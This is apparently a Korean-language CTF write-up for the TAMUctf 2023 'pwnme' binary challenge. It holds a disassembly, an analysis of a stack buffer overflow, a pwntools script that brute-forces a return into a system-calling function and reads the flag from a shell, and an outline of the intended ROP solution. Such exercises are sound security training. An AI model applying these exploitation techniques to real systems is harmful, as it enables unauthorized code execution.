1. intro
2. code 및 분석
2.1. code
0000000000401195 <main>:
401195: 55 push %rbp
401196: 48 89 e5 mov %rsp,%rbp
401199: 48 83 ec 18 sub $0x18,%rsp
40119d: b8 00 00 00 00 mov $0x0,%eax
4011a2: e8 89 fe ff ff call 401030 <pwnme@plt>
4011a7: 48 83 c4 18 add $0x18,%rsp
4011ab: b8 00 00 00 00 mov $0x0,%eax
4011b0: 5d pop %rbp
4011b1: c3 ret
4011b2: 48 29 f0 sub %rsi,%rax
4011b5: c3 ret
0000000000401030 <pwnme@plt>:
401030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 404018 <pwnme>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
00000000000011af <win>:
11af: 55 push %rbp
11b0: 48 89 e5 mov %rsp,%rbp
11b3: 48 8d 3d 46 0e 00 00 lea 0xe46(%rip),%rdi # 2000 <_fini+0xe00>
11ba: b8 00 00 00 00 mov $0x0,%eax
11bf: e8 7c fe ff ff call 1040 <system@plt>
11c4: 90 nop
11c5: 5d pop %rbp
11c6: c3 ret
00000000000011c7 <pwnme>:
11c7: 55 push %rbp
11c8: 48 89 e5 mov %rsp,%rbp
11cb: 48 83 ec 10 sub $0x10,%rsp
11cf: b8 00 00 00 00 mov $0x0,%eax
11d4: e8 97 fe ff ff call 1070 <setup@plt>
11d9: 48 8d 3d 2a 0e 00 00 lea 0xe2a(%rip),%rdi # 200a <_fini+0xe0a>
11e0: e8 4b fe ff ff call 1030 <puts@plt>
11e5: 48 8d 45 f0 lea -0x10(%rbp),%rax
11e9: ba 48 00 00 00 mov $0x48,%edx
11ee: 48 89 c6 mov %rax,%rsi
11f1: bf 00 00 00 00 mov $0x0,%edi
11f6: e8 55 fe ff ff call 1050 <read@plt>
11fb: 90 nop
11fc: c9 leave
11fd: c3 ret
2.2. 분석
main 함수는 pwnme 함수를 실행하는 역할을 한다.
pwnme 함수는 libcpwnme.so 파일 내에 위치하고 있으며, main 함수가 이를 링킹하고 있다.
pwnme 함수에서는 0x10 만큼의 변수를 할당하고, 0x48만큼의 값을 받아들인다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
pwnme 함수에서 overflow가 발생한다.
3.2. 공격 준비
libc던 libcpwnme던 참조하려면 결국 leak이 필요한데,
leak을 하기 위해서 참조할 puts, write 함수의 정보가 모두 libc 파일 내에 존재하고 있다.
libcpwnme 라이브러리 내에는 puts, system 함수가 존재하는데,
pwnme 함수로부터의 거리가 0x197 이기 때문에 적어도 0.5바이트의 브루트 포스는 불가피하다.
또한 libc 영역을 참조할만한 곳이 stack의 낮은 주소에 위치하고 있으며,
이를 이용하기 위해 sub rsp로 돌아가면 지속적으로 push들로 인해 값이 덮어씌여지기 때문에 사용할 수 없다.
또한 높은 주소 위치에는 참조할만한 영역이 libc_start_main_ret 주소 밖에 없었다.
이에 한번에 참조는 불가능하다는 결론을 내렸고,
브루트포싱 밖에 답이 없을 거라 판단하였다.
libc 파일을 몇개나 참조하던, 결국 offset은 동일하기 때문에 libc_start_main_ret 주소의
마지막 3바이트에 희망을 걸고 win 함수로 브루트포싱을 하였다.
운영진에게 문의하였을때는 브루트포스 없이 익스하는 것이 인텐이라는 답을 받았다.
인텐 롸업은 다시 한번 확인해봐야할 듯...
4. exploit
from pwn import *
for i in range(1000):
try:
p = remote("tamuctf.com", 443, ssl=True, sni="pwnme")
#p = process('./pwnme')
pay = b'A'*(8*2)
pay += p64(0x00000000004011b1)
pay += p64(0x00000000004011a7)
pay += b'B'*(8*4)
pay += b'\xb0\xc1\x9b'
p.sendafter(b'pwn me\n',pay)
p.sendline('id')
ch = p.recvline()
if b'id' in ch:
p.sendline('cat flag*')
p.interactive()
except:
p.close()
밴 안당한게 다행이라 생각함...
인텐 풀이는 아래와 같다.
사용되는 가젯
0x000000000040118f : add bl, al ; mov rax, qword ptr [rdi] ; ret
0x0000000000401191 : mov rax, qword ptr [rdi] ; ret
0x00000000004011af : add byte ptr [rbp - 0x3d], bl ; sub rax, rsi ; ret
1. push rdi를 통해 적절한 값을 가진 주소를 rdi에 넣는다.
2. mov (rdi), rax로 rax에 rdi의 값을 넣는다.
3. add al, bl 로 bl에 적절한 값을 넣는다.
4. leave 시 가져올 rbp 위치에 pwnme got - 0x3d를 넣는다.
5. add bl, -0x3d(%rbp)로 pwnme got에 bl을 더해 win 함수 위치로 변조한다.
굳이 직접적으로 값을 변조하지 않더라도 우회하는 방법이 있다는 것을 알게된 문제였다.
'CTF > Solved' 카테고리의 다른 글
TAMUctf 2023 - Bank (0) | 2023.05.01 |
---|---|
TAMUctf 2023 - Randomness (0) | 2023.05.01 |
TAMUctf 2023 - Pointer (0) | 2023.05.01 |
TAMUctf 2023 - Inspector Gadget (0) | 2023.05.01 |
TAMUctf 2023 - Sea Shells (0) | 2023.05.01 |